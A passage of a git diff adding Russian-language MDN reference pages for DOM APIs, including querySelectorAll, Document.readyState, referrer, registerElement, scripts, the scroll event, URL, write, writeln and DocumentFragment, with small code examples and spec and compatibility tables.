+<p><code>querySelectorAll()</code> ведёт себя не так, как большинство библиотек JavaScript DOM. Это может привести к неожиданным результатам.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Рассмотрим этот HTML с тремя вложенными {{HTMLElement("div")}} блоками.</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;div class="select"&gt;
+    &lt;div class="inner"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1, не 0!</pre>
+
+<p>В данном примере, когда мы выбрали <code>".outer .inner"</code> в контексте <code>&lt;div&gt;</code> с классом <code>"select"</code>, элемент с классом <code>".inner"</code> был всё равно найден, хотя <code>.outer</code> не является потомком элемента в котором происходил поиск (<code>".select"</code>). По-умолчанию, <code>querySelectorAll()</code> проверяет только последний элемент без учёта контекста.</p>
+
+<p>Псевдокласс {{cssxref(":scope")}} даёт нам ожидаемый результат. Только соответстующие селекторы в потомках базового элемента:</p>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0</pre>
+
+<h2 id="Спецификации"><span style="font-size: 2.33333rem; letter-spacing: -0.00278rem;">Спецификации</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Живой стандарт</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Оригинальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document.querySelectorAll")}}</p>
+
+<h2 id="Смотрите_также"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.33333rem; letter-spacing: -0.00278rem;'>Смотрите также</span></h2>
+
+<ul>
+ <li>{{domxref("Element.querySelector()")}} and {{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} and {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} and {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for <code>querySelector</code></a></li>
+</ul>
diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html
new file mode 100644
index 0000000000..fbf050e1b5
--- /dev/null
+++ b/files/ru/web/api/document/readystate/index.html
@@ -0,0 +1,116 @@
+---
+title: Document.readyState
+slug: Web/API/Document/readyState
+tags:
+  - API
+  - Property
+translation_of: Web/API/Document/readyState
+---
+<div>
+<p>{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}</p>
+
+<p>Свойство<strong> <code>Document.readyState</code></strong> описывает состояние загрузки {{domxref("document")}}.</p>
+
+<p>Когда значение этого свойства изменяется, в объетке {{domxref("document")}} запускается событие {{event("readystatechange")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="notranslate">var <var>string</var> = <var>document</var>.readyState;</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Свойство <strong>readyState</strong> объекта document может иметь одно из следующих значений:</p>
+
+<dl>
+ <dt><code>loading</code></dt>
+ <dd>Страница все еще загружается.</dd>
+ <dt><code>interactive</code></dt>
+ <dd>Страница уже загружена и <a href="/en-US/docs/Glossary/DOM">DOM</a> дерево построено, но дополнительные ресурсы, такие как изображения и <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>, все еще загружаются.</dd>
+ <dt><code>complete</code></dt>
+ <dd>Страница и все дополнительные ресурсы уже загружены. Это состояние указывает, что событие {{event("load")}} уже вызвано.</dd>
+</dl>
+
+<p>При изменении значения, данного свойства, вызывается событие {{event("readystatechange")}} на объекте {{ domxref("document") }}.</p>
+
+<h2 id="Примеры"><span>Примеры</span></h2>
+
+<h3 id="Разные_состояния_загрузки_страницы">Разные состояния загрузки страницы</h3>
+
+<pre class="brush: js notranslate" dir="rtl"><span>switch (document.readyState) {
+  case "loading":
+    // Страница все еще загружается
+    break;
+  case "interactive":
+    // Страница уже загружена. Теперь мы можем получить доступ к DOM объектам.
+    var span = document.createElement("span");
+    span.textContent = "A &lt;span&gt; element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // Страница загружена вместе с дополнительными ресурсами.
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}</span>
+</pre>
+
+<h3 id="readystatechange_как_альтернатива_событию_DOMContentLoaded">readystatechange как альтернатива событию DOMContentLoaded</h3>
+
+<pre class="brush:js notranslate">// альтернатива событию DOMContentLoaded
+document.onreadystatechange = function () {
+  if (document.readyState == "interactive") {
+    initApplication();
+  }
+}</pre>
+
+<h3 id="readystatechange_как_альтернатива_событию_load">readystatechange как альтернатива событию load</h3>
+
+<pre class="brush: js notranslate">// альтернатива событию load
+document.onreadystatechange = function () {
+  if (document.readyState == "complete") {
+    initApplication();
+  }
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первичная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.readyState")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Событие {{event("readystatechange")}}</li>
+ <li>Событие {{event("DOMContentLoaded")}}</li>
+ <li>Событие {{event("load")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/referrer/index.html b/files/ru/web/api/document/referrer/index.html
new file mode 100644
index 0000000000..2855d99c69
--- /dev/null
+++ b/files/ru/web/api/document/referrer/index.html
@@ -0,0 +1,41 @@
+---
+title: Document.referrer
+slug: Web/API/Document/referrer
+tags:
+  - API
+  - Document
+  - Property
+translation_of: Web/API/Document/referrer
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает <a href="http://www.w3.org/Addressing/#background">URI</a> страницы, с которой был совершен переход на текущую.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var <var>referrer</var> = <var>document</var>.referrer;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Вернет пустую строку, если пользователь попал на страницу напрямую (не через ссылку, а, например, через закладку). Т.к. свойство возвращает строку, это не дает вам доступ к DOM ссылающейся страницы.</p>
+
+<p>Внутри элемента {{HTMLElement("iframe")}}, <code>Document.referrer</code> первоначально будет установлен в тоже значение, что и {{domxref("HTMLHyperlinkElementUtils/href", "href")}} объекта {{domxref("Window/location", "Window.location")}} родительского окна.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95229140">DOM Level 2: referrer</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.referrer")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/registerelement/index.html b/files/ru/web/api/document/registerelement/index.html
new file mode 100644
index 0000000000..a7788e0c6e
--- /dev/null
+++ b/files/ru/web/api/document/registerelement/index.html
@@ -0,0 +1,117 @@
+---
+title: Document.registerElement()
+slug: Web/API/Document/registerElement
+translation_of: Web/API/Document/registerElement
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>{{draft()}}</p>
+
+<p>Метод <code><strong>Document.registerElement()</strong></code> регистрирует новый кастомный элемент (<a href="/en-US/docs/Web/Web_Components/Custom_Elements">custom element</a>) в браузере и возвращает конструктор для этого нового элемента.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Это экспериментальная технология . Браузер который вы используете должен поддерживать Вэб Компоненты (Web Components). Смотри больше: <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">Enabling Web Components in Firefox</a>.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>constructor</em> = document.registerElement(<em>tag-name</em>, <em>options</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>tag-name</em></dt>
+ <dd>Имя кастомного элемента. Имя должно содержать символ дефиса (-), например: <code>my-tag</code>.</dd>
+ <dt><em>options {{optional_inline}}</em></dt>
+ <dd>An object that names the prototype to base the custom element on, and an existing tag to extend. Both of these are optional.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Here is a very simple example:</p>
+
+<pre class="brush: js">var Mytag = document.registerElement('my-tag');
+</pre>
+
+<p>Now the new tag is registered in the browser. The <code>Mytag</code> variable holds a constructor that you can use to create a <code>my-tag</code> element in the document as follows:</p>
+
+<pre class="brush: js">document.body.appendChild(new Mytag());</pre>
+
+<p>This inserts an empty <code>my-tag</code> element that will be visible if you use the browser's developer tools. It will not be visible if you use the browser's view source capability. And it won't be visible in the browser unless you add some content to the tag. Here is one way to add content to the new tag:</p>
+
+<pre class="brush: js">var mytag = document.getElementsByTagName("my-tag")[0];
+mytag.textContent = "I am a my-tag element.";
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Custom Elements')}}</td>
+   <td>{{Spec2('Custom Elements')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td>31 (behind a flag)</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>31 (behind a flag)</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li> </li>
+</ul>
diff --git a/files/ru/web/api/document/scripts/index.html b/files/ru/web/api/document/scripts/index.html
new file mode 100644
index 0000000000..bb82b79677
--- /dev/null
+++ b/files/ru/web/api/document/scripts/index.html
@@ -0,0 +1,93 @@
+---
+title: Document.scripts
+slug: Web/API/Document/scripts
+translation_of: Web/API/Document/scripts
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает список элементов {{HTMLElement("script")}} в документ. Возвращаемый объект явлеется {{domxref("HTMLCollection")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>var <em>scriptList</em></code> = document.scripts;
+</pre>
+
+<p>Возвращаемый <code>scriptList</code> является {{domxref("HTMLCollection")}}. Вы можете использовать его как массив для получения всех элементов в списке.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Этот пример показывает есть ли на старинице элементы {{HTMLElement("script")}}.</p>
+
+<pre class="brush:js">var scripts = document.scripts;
+
+if (scripts.length) {
+  alert("This page has scripts!");
+}
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html
new file mode 100644
index 0000000000..041c505630
--- /dev/null
+++ b/files/ru/web/api/document/scroll_event/index.html
@@ -0,0 +1,100 @@
+---
+title: 'Document: событие scroll'
+slug: Web/API/Document/scroll_event
+tags:
+  - API
+  - DOM
+  - Document
+  - Event
+  - Scroll
+  - UIEvent
+  - Источник
+translation_of: Web/API/Document/scroll_event
+---
+<p>{{APIRef}}</p>
+
+<p>Событие <strong><code>scroll</code></strong> возникает при прокрутке области просмотра документа или элемента.</p>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Всплытие</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th>Отменяемый</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th>Интерфейс</th>
+   <td>{{DOMxRef("Event")}}</td>
+  </tr>
+  <tr>
+   <th>Свойство обработчика событий</th>
+   <td>{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> В iOS UIWebViews события <code>scroll</code> не срабатывают во время самого прокручивания, только по его завершении. См. <a href="https://github.com/twbs/bootstrap/issues/16202">issue в Bootstrap #16202</a>. Safari и WKWebViews не подвержены этому багу.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пропуск_тактов_события_прокрутки">Пропуск тактов события прокрутки</h3>
+
+<p>Поскольку события прокрутки могут запускаться с высокой скоростью, обработчик событий не должен выполнять вычислительно-емкие операции, такие как модификации DOM. Вместо этого рекомендуется пропускать такты события, используя {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} или {{DOMxRef("CustomEvent")}}, как показано ниже.</p>
+
+<p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведенная ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p>
+
+<pre class="brush: js notranslate">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+  // Делаем что-нибудь с позицией скролла
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+
+    ticking = true;
+  }
+});</pre>
+
+<p>Больше похожих примеров можно найти на странице события <code><a href="/ru/docs/Web/API/Window/resize_event">resize</a></code>.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-scroll')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document.scroll_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Element/scroll_event">Element: событие <code>scroll</code></a></li>
+</ul>
diff --git a/files/ru/web/api/document/url/index.html b/files/ru/web/api/document/url/index.html
new file mode 100644
index 0000000000..ebba5fad22
--- /dev/null
+++ b/files/ru/web/api/document/url/index.html
@@ -0,0 +1,76 @@
+---
+title: Document.URL
+slug: Web/API/Document/URL
+tags:
+  - API
+  - Document
+  - Property
+translation_of: Web/API/Document/URL
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает строку URL документа HTML.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = document.URL
+</pre>
+
+<p> </p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre><code>document.getElementById("url").textContent = document.URL;</code></pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre><code>&lt;p id="urlText"&gt;
+  URL:&lt;br/&gt;
+  &lt;span id="url"&gt;URL goes here&lt;/span&gt;
+&lt;/p&gt;</code></pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 100)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}</td>
+   <td>{{Spec2("DOM1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.URL")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLDocument")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/document/write/index.html b/files/ru/web/api/document/write/index.html
new file mode 100644
index 0000000000..1394509e96
--- /dev/null
+++ b/files/ru/web/api/document/write/index.html
@@ -0,0 +1,79 @@
+---
+title: Document.write()
+slug: Web/API/Document/write
+translation_of: Web/API/Document/write
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Пишет строку в поток документа, открытый с помощью <a href="/en-US/docs/Web/API/document.open">document.open()</a>.</p>
+
+<div class="note">Замечание: поскольку <code>document.write</code> пишет строку в <strong>поток</strong> документа, вызов <code>document.write</code> для закрытого (но загруженного) документа автоматически вызовет <code>document.open</code>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.open#Notes">который очистит документ</a>.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">document.write(<em>разметка</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>разметка</em></dt>
+ <dd>Строка, содержащая текст для записи в документ.</dd>
+</dl>
+
+<h3 id="Пример">Пример</h3>
+
+<pre class="brush: html">&lt;html&gt;
+
+&lt;head&gt;
+  &lt;title&gt;write example&lt;/title&gt;
+
+  &lt;script&gt;
+    function newContent() {
+      alert("загрузка нового контента");
+      document.open();
+      document.write("&lt;h1&gt;Долой старое, да здравствует новое!&lt;/h1&gt;");
+      document.close();
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="newContent();"&gt;
+  &lt;p&gt;Какой-то оригинальный контент.&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Запись в документ, загруженный без вызова <code><a href="/en-US/docs/Web/API/document.open">document.open()</a>,</code> автоматически вызовет <code>document.open</code>. По окончании записи рекомендуется вызвать <code><a href="/en-US/docs/Web/API/document.close">document.close()</a>,</code> чтобы браузер  завершил загрузку страницы. Записываемый текст разбирается в структурную модель документа. В примере выше элемент <code>h1</code> становится узлом документа.</p>
+
+<p>Если вызов <code>document.write()</code> производится во встроенном HTML теге <code>&lt;script&gt;</code> , вызов <code>document.open() не будет выполнен</code>. Например:</p>
+
+<pre class="brush: html"><code>&lt;script&gt;
+  document.write("&lt;h1&gt;Основной заголовок&lt;/h1&gt;")
+&lt;/script&gt;</code>
+</pre>
+
+<div class="note"><strong>Замечание:</strong> <code>document.write</code> и <code>document.writeln</code> <a href="/en-US/docs/Archive/Web/Writing_JavaScript_for_HTML">не работают в XHTML документах</a> (выводится сообщение "Операция не поддерживается" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] в консоли ошибок). Это случается при открытии локального файла с расширением .xhtml или для любых документов, обрабатываемых с <a href="/en-US/docs/Glossary/MIME_type">типом MIME</a> - <code>application/xhtml+xml</code> . Больше информации доступно по адресу <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<div class="note"><strong>Замечание:</strong> <code>document.write</code> в <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer">отложенных</a> или <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async">асинхронных</a> сценариях игнорируется и выводится сообщение типа "Проигнорирован вызов <code>document.write()</code> из асинхронно загруженного внешнего сценария" в консоли ошибок.</div>
+
+<div class="note"><strong>Замечание:</strong> В Edge  вызов <code>document.write в </code>iframe более одного раза  прриводит к ошибке SCRIPT70: Доступ запрещен.</div>
+
+<div class="note"><strong>Замечание:</strong> Начиная с версии 55, Chrome не исполняет элементы <code>&lt;script&gt;</code>  вставленные посредством <code>document.write()</code> в случае отсутствия кэша HTTP для пользователей 2G подключения.</div>
+
+<h2 id="Спецификации"><font color="#ffffff" face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #333333; font-size: 24px;">Спецификации</span></font></h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75233634">DOM Level 2 HTML: <code>write()</code> Method</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2011/WD-html5-author-20110705/apis-in-html-documents.html#dynamic-markup-insertion">Dynamic markup insertion in HTML</a></li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ domxref("element.innerHTML") }}</li>
+ <li>{{ domxref("document.createElement()") }}</li>
+</ul>
diff --git a/files/ru/web/api/document/writeln/index.html b/files/ru/web/api/document/writeln/index.html
new file mode 100644
index 0000000000..990aec8828
--- /dev/null
+++ b/files/ru/web/api/document/writeln/index.html
@@ -0,0 +1,34 @@
+---
+title: Document.writeln()
+slug: Web/API/Document/writeln
+translation_of: Web/API/Document/writeln
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Выводит в документ строку со знаком перевода каретки в конце.</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="eval">document.writeln(<em>line</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>line</code> - строка содержащая текст. </li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>document.writeln("&lt;p&gt;введите пароль:&lt;/p&gt;");
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p><strong>document.writeln</strong> тоже самое, что <a href="/en/DOM/document.write" title="en/DOM/document.write">document.write</a> но добавляет знак новой строки.</p>
+
+<div class="note"><strong>Примечание:</strong> <strong>document.writeln</strong> (как и <strong>document.write</strong>) не работает с XHTML документами (вы получите ошибку "Operation is not supported" (<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>) в консоли ошибок). Происходит это, если открыть локальный файл с разширением .xhtml или документ с MIME типом application/xhtml+xml. Больше информации доступно на <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite" title="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-35318390">writeln </a></p>
diff --git a/files/ru/web/api/documentfragment/index.html b/files/ru/web/api/documentfragment/index.html
new file mode 100644
index 0000000000..61a6ae1571
--- /dev/null
+++ b/files/ru/web/api/documentfragment/index.html
@@ -0,0 +1,236 @@
+---
+title: DocumentFragment
+slug: Web/API/DocumentFragment
+translation_of: Web/API/DocumentFragment
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Интерфейс DocumentFragment представляет собой минимальный объект документа, который не имеет родителя. Он используется как легкая версия  {{domxref ("Document")}}, чтобы хранить хорошо сформированные или потенциально не хорошо формированные фрагменты XML.</p>
+
+<p>Различные другие методы могут взять document fragment в качестве аргумента (например, любые методы интерфейса Node, такие как Node.appendChild и Node.insertBefore), в этом случае прикрепляются или вставляются  дети фрагмента, а не сам фрагмент.</p>
+
+<p>Этот интерфейс также хорошо используется с веб-компонентами: {{HTMLElement ( "template")}}  элементы содержат <code>DocumentFragment</code> в их {{domxref ("HTML Template Element.content")}} свойствах.</p>
+
+<p>Пустой <code>DocumentFragment</code> может быть создан с помощью метода {{domxref("document.createDocumentFragment")}}  или конструктора.</p>
+
+<h2 id="Specification" name="Specification">Свойства</h2>
+
+<p><em>Этот интерфейс не имеет определенных свойств помимо наследуемых от его родителя, {{domxref("Node")}}, и реализует их из интерфейса {{domxref("ParentNode")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает динамическую {{domxref("HTMLCollection")}} содержащую все объекты типа {{domxref("Element")}}, которые являются потомками объекта <code>DocumentFragment</code>.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("Element")}}, который является первым потомком объекта <code>DocumentFragment</code>, или <code>null</code>, если такого нет.</dd>
+ <dt>{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("Element")}}, который является последним потомком объекта <code>DocumentFragment</code>, или <code>null</code>, если такого нет.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}</dt>
